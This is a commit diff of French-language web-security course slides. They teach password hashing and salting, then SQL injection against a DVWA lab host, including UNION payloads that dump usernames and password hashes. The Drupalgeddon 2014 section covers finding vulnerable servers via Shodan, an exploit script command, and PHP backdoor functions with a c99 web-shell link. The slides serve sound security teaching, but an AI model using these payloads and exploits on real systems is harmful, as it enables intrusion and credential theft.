Skip to content
Snippets Groups Projects
Commit c9711c8f authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

finalize sidoine

parent 8ebad4ee
No related branches found
No related tags found
No related merge requests found
Pipeline #4038 passed
content/slides/1337/images/sidoine/SQLi-1.png

225 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-1.png

74.4 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-1.png
content/slides/1337/images/sidoine/SQLi-1.png
content/slides/1337/images/sidoine/SQLi-1.png
content/slides/1337/images/sidoine/SQLi-1.png
  • 2-up
  • Swipe
  • Onion skin
content/slides/1337/images/sidoine/SQLi-2-https.png

250 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-2-https.png

89.8 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-2-https.png
content/slides/1337/images/sidoine/SQLi-2-https.png
content/slides/1337/images/sidoine/SQLi-2-https.png
content/slides/1337/images/sidoine/SQLi-2-https.png
  • 2-up
  • Swipe
  • Onion skin
content/slides/1337/images/sidoine/SQLi-db-clear.png

258 KiB

content/slides/1337/images/sidoine/SQLi-db-hash.png

258 KiB

content/slides/1337/images/sidoine/sql-union.png

27.3 KiB

......@@ -24,105 +24,193 @@ Mot de passe: <input id="password" type="password" name="password" value="123adm
### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" -->
Note:
- Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
- en clair
- Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
- dont le mot de passe
- Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
- égalité = utilisateur authentifié
- différence = utilisateur ou mot de passe invalide
* Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
* en clair
* Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
* dont le mot de passe
## https
* Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
* égalité = utilisateur authentifié
* différence = utilisateur ou mot de passe invalide
![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
Note:
- Lors de la transmission du mot de passe => utiliser https
- il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
## sqli
![SQLi](images/sidoine/SQLi-full.png "SQLi")
![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
Note:
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
* Lors de la transmission du mot de passe => utiliser https
* il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
## Bonne pratique
* Lors du stockage du mot de passe
* Pourquoi?
* Le mot de passe n'est jamais affiché et voilà
### stocker les mots de passe hashés
[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
## https
canal chiffré
## sqli
![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
Note:
- Mot de passe hashé
## hashage
* <strike>SHA256(passeenclair)
* => 5452409edd9626898129c983ec443748</strike>
* SHA256(passeenclair)
* => 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
* SHA256(admin)
* => 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
## Rainbow tables
### [https://crackstation.net/](https://crackstation.net/)
* Hashs précalculés de valeurs communes
* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
* => admin
* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
* => ????
## Bonne pratique
### Introduire des validations sur la robustesse du mot de passe.
* minuscule + majuscule + caractères spéciaux + numériques
* longueur minimum (passphrase)
### Ajouter un sel
* SHA256(admin+selsupercompliqué)
## SQLi
* aka injection SQL
* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) depuis plusieurs années
* que peut on faire avec une SQLi?
* lire des données protégées
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
## SQLi
```
http://dv.wa/vulnerabilities/sqli/
```
Tout commence par un message d'erreur anodin
```
http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
```
intéressant!
```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version
for the right syntax to use near ''''' at line 1
```
### intéressant!?<!-- .element class="fragment roll-in" -->
## SQLi / détournement
```
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
```
soit en version encodée
```
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
```
encore mieux mais on affiche toujours pas les mot de passe car on a pas la main sur la clause select
### encore mieux<!-- .element class="fragment roll-in" -->
### mais!<!-- .element class="fragment roll-in" -->
#### on affiche toujours pas les mot de passe car on a pas la main sur la clause select<!-- .element class="fragment roll-in" -->
### des idées?<!-- .element class="fragment roll-in" -->
on peut injecter une UNION ()
## Say hello to UNION
```
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
```
mais les clauses select doivent être compatibles
intuition : il y a Deux champs dans la clause SELECT de la requête
![Union](images/sidoine/sql-union.png "Union")
Jouons avec la clause ORDER BY
### Les clauses select doivent avoir le même nombre d'éléments!?<!-- .element class="fragment roll-in" -->
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
## déduire le nombre de champs
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
### intuition?
### jouer avec order BY
Nous avons les mots de passes
```
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
```
Montrer le code, préciser PHP5
soit une fois les paramètres encodés
Essayons les
```
http://dv.wa/vulnerabilities/sqli/?id=%27%20OR%201%3D1%20ORDER%20BY%202%23&Submit=Submit
```
Aucun ne marche: nous avons récupérer des hasher des mot de passe
**Bonne pratique** stocker les mots de passe hashés
## Affichage des mots de passe
ce qui donne une autre saveur à ce genre de news
```
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT user, password FROM users#&Submit=Submit
```
https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html
soit une fois les paramètres encodés
Si on veut aller plus on peut tenter de révéler les mots de passe en clair par table arc en ciel
```
http://dv.wa/vulnerabilities/sqli/?id=%27%20AND%201%3D0%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit
```
https://crackstation.net/
* Mot de passe hashé
* [https://crackstation.net/](https://crackstation.net/)
* 5f4dcc3b5aa765d61d8327deb882cf99
* => md5 - password
**Bonne pratique** stocker des mots de passe complexes. pour ce faire introduire des validations sur la robustesse du mot de passe.
* min / maj / sécique / chiffres
* long (surtout)
## SQLi de la vraie vie (2014)
## revenons au SQLi
* les SQLi n'apparaissent pas (plus) de manière aussi grossière
* utilisation notamment des requêtes préparées
* échappent les paramètres
* faille n°1 dans le top 10 owasp depuis plusieurs années
* Voici une vraie faille du CMS drupal ...
* que peut on faire avec une SQLi à part lire des données sensibles telles que le mot de passe?
* Corrompre des données
* Dénis de services
* Lecture / écriture sur le système de fichiers
* Exécution de commandes arbitraires
* n'apparaissent plus de manière aussi grossière grâce au requêtes préparées qui échappent les paramètres
## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
## voyons un vrai faille drupal de 2014 et comment l'exploiter
## La faille
......@@ -131,6 +219,32 @@ https://crackstation.net/
* Date: 2014-October-15
* Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
#### exploitable à partir du formulaire d'authentification!<!-- .element class="fragment roll-in" -->
### sans aucun privilège!<!-- .element class="fragment roll-in" -->
## Trouver un système vulnérable sur le www
[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques
## Timeline côté attaquant
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…
## La faille
......@@ -150,7 +264,7 @@ foreach (array_filter($args, 'is_array') as $key => $data) {
* il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
## La faille
## Le patch
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
......@@ -174,33 +288,6 @@ Note:
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
## Trouver un système vulnérable sur le www
* ne filtrer que les drupal vulnérables
* [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)
```http
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
```
## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques
## Timeline côté attaquant
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…
## Exploitation manuelle
......@@ -222,7 +309,8 @@ par
Note:
- mettre un mot de passe
## PoC
## Exploit
[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
......@@ -253,6 +341,7 @@ $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```
## Backdoor
rerésente 68% des attaques
......@@ -271,8 +360,6 @@ phpinfo();';
* [passthru()](http://php.net/manual/fr/function.passthru.php)
* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)
## Backdoor
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment